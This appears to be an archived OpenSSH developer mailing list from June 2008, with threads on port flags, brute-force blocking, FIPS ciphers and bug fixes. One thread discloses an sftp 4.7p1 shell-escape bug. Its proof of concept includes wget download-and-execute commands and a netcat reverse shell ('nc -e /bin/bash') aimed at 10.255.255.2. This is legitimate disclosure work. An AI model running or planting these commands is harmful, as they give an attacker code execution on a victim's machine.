18:42:29 +0200 Subject: Inconsistency with the option for defining the destination port Message-ID: Why is there an inconsistency with the option for the destionation port. ssh -p ... scp -P ... sftp -P ... For scp it is neccessary to be "-P" ( Quote: " Note that this option is written with a capital 'P', because −p is already reserved for preserving the times and modes of the file in rcp(1)." ). Also sftp uses already "-P", but ssh, still only supports/uses the small case. For Consistency with sftp and scp wouldn't it be best to add "-P" as a synonym. Sincerly Dennis From dtucker at zip.com.au Fri Jun 13 04:28:12 2008 From: dtucker at zip.com.au (Darren Tucker) Date: Thu, 12 Jun 2008 12:28:12 -0600 Subject: Inconsistency with the option for defining the destination port In-Reply-To: References: Message-ID: <48516ABC.6070208@zip.com.au> Dennis Winter wrote: > Why is there an inconsistency with the option for the destionation port. > > ssh -p ... > scp -P ... > sftp -P ... > > For scp it is neccessary to be "-P" ( Quote: " Note that this option is > written with a capital 'P', because ?p is already reserved for preserving > the times and modes of the file in rcp(1)." ). > Also sftp uses already "-P", but ssh, still only supports/uses the small > case. For Consistency with sftp and scp wouldn't it be best to add "-P" as > a synonym. ssh -P is already used for the (deprecated) privileged port option. If you want consistency, -oport=N works everywhere. -- Darren Tucker (dtucker at zip.com.au) GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4 37C9 C982 80C7 8FF4 FA69 Good judgement comes with experience. Unfortunately, the experience usually comes from bad judgement. From scott_n at xypro.com Fri Jun 13 04:44:15 2008 From: scott_n at xypro.com (Scott Neugroschl) Date: Thu, 12 Jun 2008 11:44:15 -0700 Subject: Inconsistency with the option for defining the destination port In-Reply-To: References: Message-ID: <78DD71C304F38B41885A242996B96F730184F741@xyservd.XYPRO-23.LOCAL> > -----Original Message----- > From: openssh-unix-dev-bounces+scott_n=xypro.com at mindrot.org > [mailto:openssh-unix-dev-bounces+scott_n=xypro.com at mindrot.org] On > Behalf Of Dennis Winter > Sent: Thursday, June 12, 2008 9:42 AM > To: openssh-unix-dev at mindrot.org > Subject: Inconsistency with the option for defining the destination > port > > Why is there an inconsistency with the option for the destionation > port. > > ssh -p ... > scp -P ... > sftp -P ... > > For scp it is neccessary to be "-P" ( Quote: " Note that this option is > written with a capital 'P', because −p is already reserved for > preserving the times and modes of the file in rcp(1)." ). > Also sftp uses already "-P", but ssh, still only supports/uses the > small case. For Consistency with sftp and scp wouldn't it be best to > add "-P" as a synonym. Also "-f" and "-F" for specifying config files. From mathog at caltech.edu Fri Jun 13 07:45:42 2008 From: mathog at caltech.edu (David Mathog) Date: Thu, 12 Jun 2008 14:45:42 -0700 Subject: Request for added functionality - tracking and blocking attacks Message-ID: Somebody please forward this, if this is not an appropiate place to ask the OpenSSH developers for a new feature. As many of us have seen, any sshd left open on the internet eventually becomes the target of password guessing attacks. I am aware of tools for scanning the security logs, and manipulating iptables to block ongoing attacks, but I am not aware of a way to configure sshd itself to detect and deter attacks. On my systems the logs generally show a series of login attempts from a single IP address, usually starting with common account names like "root" or "mysql", then progressing to "diane" and other common names. This can go on for hours. It would be very nice if sshd provided the following functions to help deter these attacks. Here is my proposal. 1. sshd at reload or start loads a list of black listed account names. In the sshd_config file one or more lines like this would be placed: BLACKLIST_USER mysql BLACKLIST_ISER root BLACKLIST_USER cups etc. 2. sshd also loads a small number of whitelisted IP addresses, which are allowed to use the BLACKLIST user names: WHITELIST_IP abc.def.ghi.jkl WHITELIST_IP bca.fed.hig.klj/24 etc. 3. If a login attempt is made on a blacklisted account, but not from a whitelisted IP address, it would result in a sshd BLACKLISTED abc.def.ghi.jkl for account_name message to syslog. 4. Additionally, an entry would be placed in an sshd data structure to retain the IP address and the time of the last attempt from this IP address. Normal logins would of course not be placed on this list. 5. The number of blacklisted IP addresses maintained by sshd would also be configurable. BLACKLIST_MAX_IP 10000 Allowing 4 bytes for the IP address plus 4 bytes for the time stamp, a list of 10000 forbidden machines could be stored in only 80000 bytes. An attacker might be able to fill the list, but only if they had access to a network of 10000 machines. 6. After a configurable time BLACKLIST_EXPIRE seconds IP addresses which had not tried to login in more than the specified time would be purged from this blacklist data structure. The purpose of this is to prevent the list from filling up when sshd has been up for months at a time. 7. sshd would continue to "service" login attempts from blacklisted IP addresses, but would simply fail them all, even if a valid username/password pair was sent. This would serve to tie up the attacker without offering any chance of a break in by a lucky password guess. 8. Lastly, in order to bog down the attacker even further, MIN_LOGIN_TIME seconds would set the minimum time for a response to a login attempt. The default would be 0 seconds. For remote servers, which only need to be accessed via ssh for administration on rare occasions, this might be set to 10, 20, or even 60 seconds. An argument could be made that most of this blacklist mechanism should reside in a common location, so that other network daemons could share this sort of information. One could imagine a blacklist daemon which maintains the IP addresses, last access times, and some measure of how "busy" each IP address is, and provides that information through some sort of interprocess communication to any network daemons which request it. This would also provide, I think, an easier way than log file scraping for adding firewall rules to block an address which was overly problematic. Regards, David Mathog mathog at caltech.edu Manager, Sequence Analysis Facility, Biology Division, Caltech From qianbohound at hotmail.com Thu Jun 12 17:28:24 2008 From: qianbohound at hotmail.com (=?gb2312?B?tee0xbKo?=) Date: Thu, 12 Jun 2008 15:28:24 +0800 Subject: FIPS mode OpenSSH suggestion Message-ID: Hi OpenSSH team, I find a url http://www.gossamer-threads.com/lists/openssh/dev/42808?do=post_view_threaded#42808, which provides unofficial patch for FIPS Capable OpenSSH. I try it and it seems working for some cases. (BTW, I also find that aes128-ctr, aes192-ctr and aes256-ctr ciphers can't work in FIPS mode properly. The fips mode sshd debug info is as following. *************************** debug2: set_newkeys: mode 1 cipher_init: EVP_CipherInit: set key failed for aes128-ctr debug1: do_cleanup ?? debug3: PAM: sshpam_thread_cleanup entering debug1: audit event euid 0 user (unknown user) event 12 (CONNECTION_ABANDON) *************************** I don't know why. Are these three ciphers FIPS forbidden?) ?? As you know, FIPS 1.1.2 module has been officially released for some period and FIPS Capable OpenSSL may become one of the important main branches of OpenSSL in the near future. So if openssh can provide built-in FIPS Capable functionality, it will be highly appreciated. Would you please take this suggestion into consideration for future openssh release? Thank you! _________________________________________________________________ ?????????????MSN????TA????? http://im.live.cn/emoticons/?ID=18 From qianbohound at hotmail.com Thu Jun 12 17:31:58 2008 From: qianbohound at hotmail.com (=?gb2312?B?tee0xbKo?=) Date: Thu, 12 Jun 2008 15:31:58 +0800 Subject: FIPS mode OpenSSH suggestion Message-ID: Hi OpenSSH team, I find a url http://www.gossamer-threads.com/lists/openssh/dev/42808?do=post_view_threaded#42808, which provides unofficial patch for FIPS Capable OpenSSH. I try it and it seems working for some cases. (BTW, I also find that aes128-ctr, aes192-ctr and aes256-ctr ciphers can't work in FIPS mode properly. The fips mode sshd debug info is as following. *************************** debug2: set_newkeys: mode 1 cipher_init: EVP_CipherInit: set key failed for aes128-ctr debug1: do_cleanup debug3: PAM: sshpam_thread_cleanup entering debug1: audit event euid 0 user (unknown user) event 12 (CONNECTION_ABANDON) *************************** I don't know why. Are these three ciphers FIPS forbidden?) As you know, FIPS 1.1.2 module has been officially released for some period and FIPS Capable OpenSSL may become one of the important main branches of OpenSSL in the near future. So if openssh can provide built-in FIPS Capable functionality, it will be highly appreciated. Would you please take this suggestion into consideration for future openssh release? Thank you! _________________________________________________________________ ?????????live mail???????? http://get.live.cn/product/mail.html From jmknoble at pobox.com Fri Jun 13 17:13:10 2008 From: jmknoble at pobox.com (Jim Knoble) Date: Fri, 13 Jun 2008 03:13:10 -0400 Subject: Request for added functionality - tracking and blocking attacks In-Reply-To: References: Message-ID: <20080613071310.GG25748@crawfish.ais.com> Circa 2008-06-12 17:45 dixit David Mathog: : Somebody please forward this, if this is not an appropiate place : to ask the OpenSSH developers for a new feature. This is an appropriate place. The OpenSSH Bugzilla is another appropriate place. I am not an OpenSSH developer, just a user and an erstwhile contributor. [...] : It would be very nice if sshd provided the following functions to help : deter these attacks. Here is my proposal. : : 1. sshd at reload or start loads a list of black listed account names. : In the sshd_config file one or more lines like this would be placed: : : BLACKLIST_USER mysql [...] : : 2. sshd also loads a small number of whitelisted IP addresses, which : are allowed to use the BLACKLIST user names: : : WHITELIST_IP abc.def.ghi.jkl Your #1 and #2 are available using the current capabilities in OpenSSH combined with judicious use of stateful firewall rules: (1) Configure your default sshd listening on TCP port 22 with either AllowUsers or AllowGroups directives to only allow access by certain users. Preferably, configure those users to require public-key authentication, so that password dictionary attacks will never succeed. Allow access to TCP port 22 from all the IP addresses you wish to using your stateful firewall. (2) Configure a second sshd listening on an alternate TCP port (i often prefer port 992) which allows your "blacklisted" users to log in. Using your stateful firewall, deny access to this alternate TCP port from all but your "whitelisted" IP addresses. : 3. If a login attempt is made on a blacklisted account, but not from : a whitelisted IP address, it would result in a : : sshd BLACKLISTED abc.def.ghi.jkl for account_name : : message to syslog. Configure your stateful firewall rules to log attempts by non-whitelisted IP addresses to contact the alternate port in my #2 above. : 4. Additionally, an entry would be placed in an sshd data structure to : retain the IP address and the time of the last attempt from this IP : address. Normal logins would of course not be placed on this list. : : 5. The number of blacklisted IP addresses maintained by sshd would also : be configurable. [...] : An attacker might be able to fill the list, but only if they had : access to a network of 10000 machines. And you think that no attackers these days have that capability? Some botnets exceed that number by at least an order of magnitude: http://searchsecurity.techtarget.com.au/articles/24069--Kraken-botnet-gathers-1-new-members : 6. After a configurable time [...] : IP addresses which had not tried to login in more than the specified : time would be purged from this blacklist data structure. The purpose : of this is to prevent the list from filling up when sshd has been up : for months at a time. Your #4, #5, and #6 are not the job of sshd. You need to inject these entries into your firewall ruleset, with an external scrubber process. : 7. sshd would continue to "service" login attempts from : blacklisted IP addresses, but would simply fail them all, even if : a valid username/password pair was sent. This would serve to tie : up the attacker without offering any chance of a break in by a lucky : password guess. Oh, you want a honeypot. Use one. Configure an sshd on an IP address or port that should never get used. Deny all logins (using 'DenyUsers *', or using 'AllowGroups' with a group that has no members). Use your firewall to add source IPs that access that sshd to a blocklist for every other sshd (but allow them to continue accessing the not-really-an-sshd). : 8. Lastly, in order to bog down the attacker even further, : would set the minimum time for a response to a login attempt. : The default would be 0 seconds. For remote servers, which only : need to be accessed via ssh for administration on rare occasions, this : might be set to 10, 20, or even 60 seconds. This should probably be done using PAM, or equivalent mechanisms on other platforms. You could even allow valid accounts to log in normally, but keep failed attempts taking longer by using Darren Tucker's 'pam_faildelay.so' module in your sshd's PAM stack. : An argument could be made that most of this blacklist mechanism : should reside in a common location, (such as a firewall?) : so that other network daemons could share this sort of information. : One could imagine a blacklist daemon which maintains the IP addresses, (such as a firewall, with some scripting around it?) : last access times, and some measure of how "busy" each IP address is, : and provides that information through some sort of interprocess : communication to any network daemons which request it. This would : also provide, I think, an easier way than log file scraping for adding : firewall rules to block an address which was overly problematic. What you propose can already be done, more generally and more efficiently, using existing tools, rather than by making OpenSSH's codebase unnecessarily more complex, brittle, and prone to failure. Good luck, jim -- jim knoble | jmknoble at pobox.com | http://www.pobox.com/‾jmknoble/ (GnuPG key ID: 6F39C2CC >>>>>> http://www.pobox.com/‾jmknoble/keys/ ) (GnuPG fingerprint: 5024:D578:7CF4:5660:7269::F6F3:B919:9307:6F39:C2CC) +----------------------------------------------------------------------+ |[L]iberty, as we all know, cannot flourish in a country that is perma-| | nently on a war footing, or even a near-war footing. --Aldous Huxley| +----------------------------------------------------------------------+ From dougp at medinet.ca Fri Jun 13 09:37:26 2008 From: dougp at medinet.ca (Doug Poulin) Date: Thu, 12 Jun 2008 16:37:26 -0700 Subject: Request for added functionality - tracking and blocking attacks References: Message-ID: <1E79ADCF32AD432AA990DCFC5B37F3A1@medinet.net> If you're using PAM, there is already a very nice utility called pamabl that you can use It does automatic blacklisting based on user configurable parameters. ie. If one host gets more than # (10, 20, 100, your choice) failed passwords you can blacklist them for any number of days. If a user exceeds a set number of login attempts they can be blacklisted for a set period of time as well. Might be a good open source project for someone not using PAM. Doug ----- Original Message ----- From: "David Mathog" To: Sent: Thursday, June 12, 2008 2:45 PM Subject: Request for added functionality - tracking and blocking attacks > Somebody please forward this, if this is not an appropiate place > to ask the OpenSSH developers for a new feature. > > As many of us have seen, any sshd left open on the internet eventually > becomes the target of password guessing attacks. I am aware of > tools for scanning the security logs, and manipulating iptables to > block ongoing attacks, but I am not aware of a way to configure > sshd itself to detect and deter attacks. > > On my systems the logs generally show a series of login attempts from > a single IP address, usually starting with common account names like > "root" or "mysql", then progressing to "diane" and other common names. > This can go on for hours. > > It would be very nice if sshd provided the following functions to help > deter these attacks. Here is my proposal. > > 1. sshd at reload or start loads a list of black listed account names. > In the sshd_config file one or more lines like this would be placed: > > BLACKLIST_USER mysql > BLACKLIST_ISER root > BLACKLIST_USER cups > etc. > > 2. sshd also loads a small number of whitelisted IP addresses, which > are allowed to use the BLACKLIST user names: > > WHITELIST_IP abc.def.ghi.jkl > WHITELIST_IP bca.fed.hig.klj/24 > etc. > > 3. If a login attempt is made on a blacklisted account, but not from > a whitelisted IP address, it would result in a > > sshd BLACKLISTED abc.def.ghi.jkl for account_name > > message to syslog. > > 4. Additionally, an entry would be placed in an sshd data structure to > retain the IP address and the time of the last attempt from this IP > address. Normal logins would of course not be placed on this list. > > 5. The number of blacklisted IP addresses maintained by sshd would also > be configurable. > > BLACKLIST_MAX_IP 10000 > > Allowing 4 bytes for the IP address plus 4 bytes for the time stamp, a > list of 10000 forbidden machines could be stored in only 80000 bytes. > An attacker might be able to fill the list, but only if they had > access to a network of 10000 machines. > > 6. After a configurable time > > BLACKLIST_EXPIRE seconds > > IP addresses which had not tried to login in more than the specified > time would be purged from this blacklist data structure. The purpose > of this is to prevent the list from filling up when sshd has been up > for months at a time. > > 7. sshd would continue to "service" login attempts from > blacklisted IP addresses, but would simply fail them all, even if > a valid username/password pair was sent. This would serve to tie > up the attacker without offering any chance of a break in by a lucky > password guess. > > 8. Lastly, in order to bog down the attacker even further, > > MIN_LOGIN_TIME seconds > > would set the minimum time for a response to a login attempt. > The default would be 0 seconds. For remote servers, which only > need to be accessed via ssh for administration on rare occasions, this > might be set to 10, 20, or even 60 seconds. > > An argument could be made that most of this blacklist mechanism > should reside in a common location, so that other network daemons > could share this sort of information. One could imagine a blacklist > daemon which maintains the IP addresses, last access times, and some > measure of how "busy" each IP address is, and provides that information > through some sort of interprocess communication to any network daemons > which request it. This would also provide, I think, > an easier way than log file scraping for adding firewall rules > to block an address which was overly problematic. > > Regards, > > David Mathog > mathog at caltech.edu > Manager, Sequence Analysis Facility, Biology Division, Caltech > _______________________________________________ > openssh-unix-dev mailing list > openssh-unix-dev at mindrot.org > https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev > From scott_n at xypro.com Sat Jun 14 07:07:38 2008 From: scott_n at xypro.com (Scott Neugroschl) Date: Fri, 13 Jun 2008 14:07:38 -0700 Subject: FW: ibuf_empty delayed efd In-Reply-To: References: <78DD71C304F38B41885A242996B96F730184F6DE@xyservd.XYPRO-23.LOCAL> Message-ID: <78DD71C304F38B41885A242996B96F730184F852@xyservd.XYPRO-23.LOCAL> On Wednesday, June 11, 2008 Damien Miller responded > On Wed, 11 Jun 2008, Scott Neugroschl wrote: > > > > I'm not sure what is going wrong here, but could you please try a > > > snapshot? We fixed a long-existing race in the efd handling @ close > > > case and the fix may serendibitously fix your case :) > > > > > Is this race condition check the changes in > channel_register_cleanup(), > > where c->istate and c->ostate are being interrogated? > > > > I'd really like to avoid having to add all the changes in channel.c > (the > > queueing, changed external interfaces, etc...) if I could avoid it. > > I think this it is, though there may be other changes of relevance. It > would probably be best if you tested a whole snapshot and then looked > to > extract specific changes if you find they work. > Found the issue. There were two, actually, one of which is fixed in the snapshots, and the other was wholly mine, and doesn't affect the mainline code. First issue was in do_exec_no_pty(), if USE_PIPES is not defined, the socketpair isn't closed after The dup2() calls. This is corrected in the snapshots. The other issue was a typo in some platform specific code I'd put into channel_handle_efd(), which caused channel_close_efd(&c->efd) not to be called. Corrected both these issues and Bob's your uncle! Thanks for the help, Damien! Scott From Laatsch at uni-koeln.de Sun Jun 15 19:07:05 2008 From: Laatsch at uni-koeln.de (Rainer Laatsch) Date: Sun, 15 Jun 2008 11:07:05 +0200 (MEST) Subject: Re+: Openssh + AFS, Script for key login without passwords In-Reply-To: Message-ID: Find it here: /afs/rrz.uni-koeln.de/admin/public/.bashrc Laatsch at uni-koeln.de Using it as your .bashrc or .kshrc on the target host allows you to - forward credentials (tickets) to /tmp/ - logging in with ssh, these are used to get a token (under a PAG) if the home dir is in AFS - the creds are moved to $HOME/private - on non-private hosts, an exit trap handler is in place to (k)destroy the credentials. I would like to give this as a contribution to the SSH community. Best regards Rainer Laatsch On Sun, 8 Jun 2008, Rainer Laatsch wrote: > SSH key login and finally getting an AFS token can be made working like > this. It uses the feature of the shell to include a .bashrc or .kshrc > upon every reexec of the shell. > > - move all .profiles to a public subdir ( $HOME/public ) ; > AFS acl's "system:anyuser rl" > - make links from $HOME/ to these -> $HOME/public/ > - move authorized_keys from .ssh/ to $HOME/public/authorized_keys > - make link .ssh/authorized_keys to $HOME/public/authorized_keys > - for $HOME and $HOME/.ssh, the acl's "?LOGNAME all system:anyuser none" > may be left like that (no change whatever). > Thats all for the setup. > > Have a key made: > - ssh-keygen -N '' ... (say into .ssh/id_rsa) > - cat .ssh/id_rsa.pub >> $HOME/public/authorized_keys > > This is the point: Add in front of your .bashrc / .kshrc > # --- > [ "$PAGSHDONE" ==""] && > export PAGSHDONE=true && > exec /usr/afsws/bin/pagsh -c "exec $SHELL" > [ "$TOKENDONE" == "" ] && > export TOKENDONE=true && > /opt/krb5/bin/gssklog # or aklog, whatever > > Now always ssh to $host in 2 steps: > > scp /tmp/krb5cc_$uid $host && > ssh $host > > To remedy the case of leftover tickets, the end of your .bashrc / .kshrc > may read > # --- > tty -s || kdestroy #throw away when interactive; does not influence scp > > > Best regards, > Rainer Laatsch From oren at forescout.com Wed Jun 18 00:37:39 2008 From: oren at forescout.com (Oren Nechushtan) Date: Tue, 17 Jun 2008 17:37:39 +0300 Subject: FIPS mode OpenSSH suggestion In-Reply-To: References: Message-ID: <07E688A4439C9C4ABF81C84EFBB342F30199A900@TA-SAT.fsd.forescout.com> Hi, As far as I know, aes*-ctr is different from aes*-cbc and is NOT openssl FIPS supported. However, I guess it would be possible/easy to workaround/fix this, since there is no standard for what is SSH FIPS compliant. If you're interested, try running in FIPS enabled and disabled modes and see where it breaks. This is an educated guess :) See also http://rfc.net/rfc4344.html Oren P.S. EVP_CipherInit is probably defined in libcrypto.a:fipscanister.o -----Original Message----- From: openssh-unix-dev-bounces+oren=forescout.com at mindrot.org [mailto:openssh-unix-dev-bounces+oren=forescout.com at mindrot.org] On Behalf Of ??? Sent: ? 12 ???? 2008 10:28 To: openssh-unix-dev at mindrot.org Subject: FIPS mode OpenSSH suggestion Hi OpenSSH team, I find a url http://www.gossamer-threads.com/lists/openssh/dev/42808?do=post_view_threaded#42808, which provides unofficial patch for FIPS Capable OpenSSH. I try it and it seems working for some cases. (BTW, I also find that aes128-ctr, aes192-ctr and aes256-ctr ciphers can't work in FIPS mode properly. The fips mode sshd debug info is as following. *************************** debug2: set_newkeys: mode 1 cipher_init: EVP_CipherInit: set key failed for aes128-ctr debug1: do_cleanup ?? debug3: PAM: sshpam_thread_cleanup entering debug1: audit event euid 0 user (unknown user) event 12 (CONNECTION_ABANDON) *************************** I don't know why. Are these three ciphers FIPS forbidden?) ?? As you know, FIPS 1.1.2 module has been officially released for some period and FIPS Capable OpenSSL may become one of the important main branches of OpenSSL in the near future. So if openssh can provide built-in FIPS Capable functionality, it will be highly appreciated. Would you please take this suggestion into consideration for future openssh release? Thank you! _________________________________________________________________ ?????????????MSN????TA????? http://im.live.cn/emoticons/?ID=18 _______________________________________________ openssh-unix-dev mailing list openssh-unix-dev at mindrot.org https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev From roman.fiedler at telbiomed.at Wed Jun 18 01:12:14 2008 From: roman.fiedler at telbiomed.at (Roman Fiedler) Date: Tue, 17 Jun 2008 17:12:14 +0200 Subject: Strange sftp input parameter handling, user assisted code execution? In-Reply-To: <48328412.5000409@telbiomed.at> References: <482958E5.9000603@telbiomed.at> <87ve1cwpgw.fsf@buddha.mad.asaurus.net> <48328412.5000409@telbiomed.at> Message-ID: <4857D44E.1020902@telbiomed.at> Hello list, I use openssh-client 1:4.7p1-8ubuntu1.2. After authentication: sftp> get !xxxx /bin/bash: xxxx: command not found Shell exited with status 127 sftp> get !/bin/ls -al total 2132 drwxr-xr-x 4 admin users 4096 2008-06-17 16:33 . drwxr-xr-x 16 admin users 12288 2008-06-17 08:50 .. drwxr-xr-x 3 admin users 8 2008-05-21 18:38 gd sftp> get !wget http://10.255.255.2:1234/root ; chmod 0755 root ; ./root --16:54:37-- http://10.255.255.2:1234/root => `root' Connecting to 10.255.255.2:1234... connected. HTTP request sent, awaiting response... 200 OK Length: 123 100%[====================================>] 123 13.59B/s ETA 00:00 16:55:49 (7.08 B/s) - `root' saved [123/123] ./root: line 1: afdasfasf: command not found ./root: line 3: asdfa: command not found Shell exited with status 127 sftp> On a linux server I did not manage to create a file with a / in the name, but a manipulated server could return such filenames or other strategies do not need them, e.g. touch '!nc -e /bin/bash 10.255.255.2 1234' on the server side and trying to download is also a good one. Has someone observed this behavior? Is this just a strange thing but according to the specs or a bug? lg roman From gangan at zalteam.com Wed Jun 18 00:20:13 2008 From: gangan at zalteam.com (GanGan) Date: Tue, 17 Jun 2008 16:20:13 +0200 Subject: hello all : information request =?UTF-8?Q?=3F?= Message-ID: <22b39977e2cb9464d68e50483a620fac@zalteam.com> Does the project progresses ? I am very interested - GanGan - From mouring at eviladmin.org Wed Jun 18 03:29:11 2008 From: mouring at eviladmin.org (Ben Lindstrom) Date: Tue, 17 Jun 2008 12:29:11 -0500 (CDT) Subject: Strange sftp input parameter handling, user assisted code execution? In-Reply-To: <4857D44E.1020902@telbiomed.at> References: <482958E5.9000603@telbiomed.at> <87ve1cwpgw.fsf@buddha.mad.asaurus.net> <48328412.5000409@telbiomed.at> <4857D44E.1020902@telbiomed.at> Message-ID: I would consider that the use of "get !ls" would be a client side bug in escaping (I suspect it should be filed as a ticket in bugzilla.mindrot.org). sftp should translate "get !ls" into either "get ¥!ls" or into the quoted counterpart. However, I'm not sure what this has to do with the server. Since ! produces a local shell and has nothing to do with the remote server. - Ben On Tue, 17 Jun 2008, Roman Fiedler wrote: > Hello list, > > I use openssh-client 1:4.7p1-8ubuntu1.2. After authentication: > > sftp> get !xxxx > /bin/bash: xxxx: command not found > Shell exited with status 127 > > > sftp> get !/bin/ls -al > total 2132 > drwxr-xr-x 4 admin users 4096 2008-06-17 16:33 . > drwxr-xr-x 16 admin users 12288 2008-06-17 08:50 .. > drwxr-xr-x 3 admin users 8 2008-05-21 18:38 gd > > > sftp> get !wget http://10.255.255.2:1234/root ; chmod 0755 root ; ./root > --16:54:37-- http://10.255.255.2:1234/root > => `root' > Connecting to 10.255.255.2:1234... connected. > HTTP request sent, awaiting response... 200 OK > Length: 123 > > 100%[====================================>] 123 13.59B/s > ETA 00:00 > > 16:55:49 (7.08 B/s) - `root' saved [123/123] > > ./root: line 1: afdasfasf: command not found > ./root: line 3: asdfa: command not found > Shell exited with status 127 > sftp> > > On a linux server I did not manage to create a file with a / in the > name, but a manipulated server could return such filenames or other > strategies do not need them, e.g. > touch '!nc -e /bin/bash 10.255.255.2 1234' on the server side and trying > to download is also a good one. > > Has someone observed this behavior? > Is this just a strange thing but according to the specs or a bug? > > lg roman > _______________________________________________ > openssh-unix-dev mailing list > openssh-unix-dev at mindrot.org > https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev > From bob at proulx.com Wed Jun 18 06:04:06 2008 From: bob at proulx.com (Bob Proulx) Date: Tue, 17 Jun 2008 14:04:06 -0600 Subject: Strange sftp input parameter handling, user assisted code execution? In-Reply-To: <4857D44E.1020902@telbiomed.at> References: <482958E5.9000603@telbiomed.at> <87ve1cwpgw.fsf@buddha.mad.asaurus.net> <48328412.5000409@telbiomed.at> <4857D44E.1020902@telbiomed.at> Message-ID: <20080617200406.GA14059@dementia.proulx.com> Roman Fiedler wrote: > sftp> get !xxxx > /bin/bash: xxxx: command not found > Shell exited with status 127 To me that seems fairly normal in that it does what I would expect it to do based upon traditional practice and without reading any documentation on it. The ! is a shell escape. The xxxx is being executed on the local client side of the connection. On the local machine xxxx is executed but doesn't exist and therefore returns an error. The manual for sftp says: get [-P] remote-path [local-path] ... remote-path may contain glob(3) characters and may match multiple files. ! command Execute command in local shell. ! Escape to local shell. But I think the documentation might be improved in this area. It appears to be scanning the line for shell escapes prior to command processing. Try this: sftp> get "!xxxx" Bob From djm at mindrot.org Wed Jun 18 07:20:48 2008 From: djm at mindrot.org (Damien Miller) Date: Wed, 18 Jun 2008 07:20:48 +1000 (EST) Subject: Strange sftp input parameter handling, user assisted code execution? In-Reply-To: <4857D44E.1020902@telbiomed.at> References: <482958E5.9000603@telbiomed.at> <87ve1cwpgw.fsf@buddha.mad.asaurus.net> <48328412.5000409@telbiomed.at> <4857D44E.1020902@telbiomed.at> Message-ID: On Tue, 17 Jun 2008, Roman Fiedler wrote: > Hello list, > > I use openssh-client 1:4.7p1-8ubuntu1.2. After authentication: > > sftp> get !xxxx > /bin/bash: xxxx: command not found > Shell exited with status 127 Can you reproduce this with OpenSSH 5.0p1? -d From djm at mindrot.org Wed Jun 18 08:33:25 2008 From: djm at mindrot.org (Damien Miller) Date: Wed, 18 Jun 2008 08:33:25 +1000 (EST) Subject: Strange sftp input parameter handling, user assisted code execution? In-Reply-To: References: <482958E5.9000603@telbiomed.at> <87ve1cwpgw.fsf@buddha.mad.asaurus.net> <48328412.5000409@telbiomed.at> <4857D44E.1020902@telbiomed.at> Message-ID: On Wed, 18 Jun 2008, Damien Miller wrote: > On Tue, 17 Jun 2008, Roman Fiedler wrote: > > > Hello list, > > > > I use openssh-client 1:4.7p1-8ubuntu1.2. After authentication: > > > > sftp> get !xxxx > > /bin/bash: xxxx: command not found > > Shell exited with status 127 > > Can you reproduce this with OpenSSH 5.0p1? I can't reproduce this with 5.0, but I can with 4.7p1 so I guess it was fixed in my sftp argument processing rewrite. -d From djm at mindrot.org Wed Jun 18 13:28:09 2008 From: djm at mindrot.org (Damien Miller) Date: Wed, 18 Jun 2008 13:28:09 +1000 (EST) Subject: Strange sftp input parameter handling, user assisted code execution? In-Reply-To: <4857D44E.1020902@telbiomed.at> References: <482958E5.9000603@telbiomed.at> <87ve1cwpgw.fsf@buddha.mad.asaurus.net> <48328412.5000409@telbiomed.at> <4857D44E.1020902@telbiomed.at> Message-ID: On Tue, 17 Jun 2008, Roman Fiedler wrote: > On a linux server I did not manage to create a file with a / in the > name, but a manipulated server could return such filenames or other > strategies do not need them, e.g. > touch '!nc -e /bin/bash 10.255.255.2 1234' on the server side and trying > to download is also a good one. I don't think it would work like that - filenames passed expanded from globs were not interpreted for !. -d From roman.fiedler at telbiomed.at Wed Jun 18 17:23:09 2008 From: roman.fiedler at telbiomed.at (Roman Fiedler) Date: Wed, 18 Jun 2008 09:23:09 +0200 Subject: Strange sftp input parameter handling, user assisted code execution? In-Reply-To: References: <482958E5.9000603@telbiomed.at> <87ve1cwpgw.fsf@buddha.mad.asaurus.net> <48328412.5000409@telbiomed.at> <4857D44E.1020902@telbiomed.at> Message-ID: <4858B7DD.7080709@telbiomed.at> Damien Miller wrote: > On Wed, 18 Jun 2008, Damien Miller wrote: > >> On Tue, 17 Jun 2008, Roman Fiedler wrote: >> >>> Hello list, >>> >>> I use openssh-client 1:4.7p1-8ubuntu1.2. After authentication: >>> >>> sftp> get !xxxx >>> /bin/bash: xxxx: command not found >>> Shell exited with status 127 >> Can you reproduce this with OpenSSH 5.0p1? > > I can't reproduce this with 5.0, but I can with 4.7p1 so I guess > it was fixed in my sftp argument processing rewrite. > > -d Thats good. I was just confused that the ! did also work for the arguments and not only in front of a command (!get). I just did not think that copy/pasting a remote filename to a get could cause this behavior. I looked at it a little bit closer and found that only direct copy and paste of filenames from "ls" output can be harmful, no problem with mget *. lg roman PS: You were correct that the /bin/bash test did not work, that was a mistake during testing, but other testcase works: Server: cd Tmp touch '!wget -O cmds 10.255.255.2:1234 ; chmod 0755 cmds ; . cmds' nc -vnlp 1234 When connected send: HTTP/1.1 200 OK Content-Length: 60 echo "This output is from remote command!" # padding ................................ Client: sftp> cd Tmp sftp> ls !wget -O cmds 10.255.255.2:1234 ; chmod 0755 cmds ; . cmds sftp> get !wget -O cmds 10.255.255.2:1234 ; chmod 0755 cmds ; . cmds --09:09:32-- http://10.255.255.2:1234/ => `cmds' Connecting to 10.255.255.2:1234... connected. HTTP request sent, awaiting response... 200 OK Length: 70 100%[====================================>] 70 --.--K/s 09:09:36 (102.05 KB/s) - `cmds' saved [70/70] This output is from remote command! sftp> (The wget line is splitted across lines, in mail client, make sure to have one line in test). From haralevi at inf.fu-berlin.de Thu Jun 19 07:55:52 2008 From: haralevi at inf.fu-berlin.de (Andre Harale) Date: Wed, 18 Jun 2008 23:55:52 +0200 Subject: Security Assurance in FOSS: Request for contribution Message-ID: <20080618215607.AE2B269BAF@natsu.mindrot.org> Dear members of the OpenSSH project, we kindly ask for your participation in our survey on security assurance in free/open source software. Security assurances are confidence building activities through structured design processes, documentation, and testing. By participating in our survey you contribute to ongoing research with the aim to make free/open source software more secure. It will not take more than 10 minutes of your valuable time for our 21 questions. Our survey is online for the next two weeks until July 1 at: http://survey.mi.fu-berlin.de/public/survey.php?name=fosssecurity The survey is anonymous. Please find the results of the survey on the project page during July: https://www.inf.fu-berlin.de/w/SE/FOSSSecuritySurvey For further information about Open Source research at the Research Group Software Engineering at Freie Universitaet Berlin, please visit: https://www.inf.fu-berlin.de/w/SE/FOSSHome Thank you in anticipation, Sascha Rasmussen, Alexander Kunze, and Andre Haralevich In case you participate in more than one FOSS project, please fill out the questionnaire for the one where security is most important, or fill out one questionnaire per 